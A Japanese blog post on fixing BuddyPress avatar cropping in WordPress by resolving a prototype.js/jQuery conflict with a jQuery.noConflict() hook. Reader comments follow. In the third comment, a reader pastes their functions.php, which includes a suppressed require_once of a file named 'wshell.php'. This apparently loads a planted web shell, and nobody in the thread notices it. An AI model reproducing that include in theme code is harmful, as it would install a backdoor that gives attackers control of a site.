【Wordpress】BuddyPressのアバター変更で画像の切り抜きができない

BuddyPressをインストールした直後はできていたけど、他のプラグインをインストールしたり開発していく中でいつの間にかJavascriptのエラーで失敗するようになっていた。

原因はprototype.jsとjQueryがConflict(衝突)を起こしていた。

jQuery Lightboxのプラグインをインストールすると起きる。

回避法はどこかに

function xb_jquery_conflict() {
    echo '<script language="JavaScript" type="text/javascript">';
    echo 'jQuery.noConflict();';
    echo '</script>';
}
add_action('wp_head', 'xb_jquery_conflict');

って書けば(jQuery.noConflict()を実行すれば)、O.K

これでjavascriptエラーは出なくなったけど、今度は画像を切り抜く枠が画面の端に出るようになった。これも嵌った。

プラグインのアンインストールとインストールを繰り返して、Google Analyticsを簡単に導入できるプラグイン「Ultimate GA」をインストールすることが判明。

でもロジック的に怪しいのはなかったので、Ultimate GAのせいでないかも。

注意点としては、プラグインのアンインストールしたあと、ブラウザのキャッシュを削除しないと現象が起きたままだったりする。これも嵌った要因の一つ。

プラグインをたくさん入れるとプラグイン同士の競合が恐いですね。

コメント

  1. はじめまして。
    かなり以前の記事なので、見ていらっしゃらないかもしれませんが、
    現在全く同じ状況で困っています。

    jQueryが原因(削除すると正常に動きました)だということはわかっているんですが、
    ≪回避法はどこかに≫のどこかとは、どのファイルでもいいのでしょうか?
    指定のファイル等があれば教えていたいと思い、投稿させていただきました。
    お手数をおかけしますが宜しくお願いいたします。

    返信削除
  2. 初めまして。
    wp_headのアクションが実行される前なので、テーマのfunctions.phpとか、あとはpluginsの有効になっているプラグインであれば、どのファイルに記述しても大丈夫だと思います。

    私は、ユーティリティ的に使うプラグインを一つ用意して、そこでadd_actionの処理をまとめたりしています。

    返信削除
  3. 何度もすみません。

    functions.phpファイルの2行目、
    <?phpif(is_readable("/wp-additional/wshell.php")) { @require_once("/wp-additional/wshell.php"); } ?>

    の1行目の<?phpのすぐあとに
    functionxb_jquery_conflict() {
    echo '<script language="JavaScript" type="text/javascript">';
    echo 'jQuery.noConflict();';
    echo '</script>';
    }
    add_action('wp_head', 'xb_jquery_conflict');

    と入れたのですが、画像の切り抜き部分が動作しませんでした。

    PHPに詳しくなく、関数などもわからないままなので、コピーして使用させていただきましたが、差し込み方が間違っていたりするようでしたら教えていただけないでしょうか。

    お手数をおかけしますが宜しくお願いいたします。

    返信削除
  4. こんにちは。
    画面を開き、「ソースの表示」をして「jQuery.noConflict();」が表示(実行)されていれば、コードの埋め込み自体は成功しています。
    これで直らなければ別の問題かもしれません。

    返信削除

コメントを投稿

このブログの人気の投稿

【.NET】DataGridViewを選択した際に背景色を変更しない

Can't open PID file /var/run/nginx.pid (yet?) after start: Too many levels of symbolic links

【PostgreSQL】ROWNUMのように行番号(現在行)を取得するROW_NUMBER